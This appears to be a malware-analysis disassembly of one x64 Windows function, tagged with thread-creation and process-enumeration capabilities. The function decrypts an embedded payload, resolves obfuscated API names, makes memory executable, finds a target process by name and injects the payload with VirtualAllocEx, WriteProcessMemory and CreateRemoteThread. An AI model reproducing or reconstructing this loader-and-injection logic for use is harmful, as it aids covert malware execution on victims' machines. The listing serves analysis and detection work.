Function at 0x2f4971640
Capabilities:
Create thread
Enumerate processes

Disassembly:
push r13
mov eax, 0x18d98
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.2f49726d0
sub rsp, rax
mov r8d, 0x18c00
movabs rdx, 0x4d8b8eaabc1458c8
movabs rax, 0xb9cd9796fc0baf21
lea rdi, [rsp + 0x190]
mov qword [rsp + 0x58], rdx
lea rsi, [rsp + 0x60]
lea rdx, [0x2f4974010]
mov rcx, rdi
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x4c], 0
call sym.memcpy
movd xmm2, dword [0x2f4973038]
movq xmm0, qword [0x2f4973020]
movq xmm1, qword [str.bOFpvLESjVUsHCY]
cmp byte [0x2f4973040], 0
pxor xmm0, xmm1
movq qword [0x2f4973020], xmm0
movd xmm0, dword [0x2f4973028]
pxor xmm0, xmm2
movd dword [0x2f4973028], xmm0
je 0x2f49716f8
mov r8, rsi
mov edx, 1
mov ecx, 1
call qword [0x2f4990028]
mov byte [0x2f4973040], 0
mov qword [rsp + 0x60], 0xfffffffffe363c80
mov rdx, rsi
xor ecx, ecx
call qword [0x2f4990030]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x2f4973020]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x18c00
mov qword [0x2f4990020], rax
call rax
mov r9d, 0x10
lea r8, [rsp + 0x50]
mov rcx, rdi
mov edx, 0x18c00
mov rbx, rax
call sym.aeOJqamOXvolCCwgDluef_char__unsigned_int__char__unsigned_long_long_
cmp byte [0x2f4973040], 0
je 0x2f4971783
mov r8, rsi
mov edx, 1
mov ecx, 1
call qword [0x2f4990028]
mov byte [0x2f4973040], 0
mov qword [rsp + 0x60], 0xfffffffffe363c80
mov rdx, rsi
xor ecx, ecx
call qword [0x2f4990030]
mov rcx, rbx
mov r8d, 0x18c00
mov rdx, rdi
call sym.memcpy
mov rcx, rbx
lea r9, [rsp + 0x4c]
mov r8d, 0x20
mov edx, 0x18c00
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, word [0x2f4973018]
xor edx, edx
movq xmm0, qword [0x2f4973010]
movzx ebx, word [0x2f4973038]
mov ecx, 2
movq xmm1, qword [str.bOFpvLESjVUsHCY]
xor eax, ebx
pxor xmm0, xmm1
mov word [0x2f4973018], ax
movzx eax, byte [0x2f497303a]
movq qword [0x2f4973010], xmm0
xor byte [0x2f497301a], al
call sym.CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x2f497186c
mov rdx, rsi
mov rcx, rax
mov dword [rsp + 0x60], 0x130
lea r13, [rsp + 0x8c]
call sym.Process32First
lea r12, [0x2f4973010]
mov rbp, qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x2f4971854
jmp 0x2f4971863
mov rdx, r13
mov rcx, r12
call rbp
test eax, eax
je 0x2f4971880
mov rdx, rsi
mov rcx, rbx
call sym.Process32Next
test eax, eax
jne 0x2f4971848
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x18d98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov esi, dword [rsp + 0x68]
mov rbp, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call rbp
test esi, esi
je 0x2f497186c
mov r8d, esi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x2f497186c
mov r9d, 0x1000
mov r8d, 0x18c00
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x20
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, rbx
mov r9d, 0x18c00
mov r8, rdi
mov qword [rsp + 0x20], 0
mov rsi, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rbx
mov r9, rsi
xor r8d, r8d
mov qword [rsp + 0x30], 0
xor edx, edx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x2f497186c
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call rbp
jmp 0x2f497186c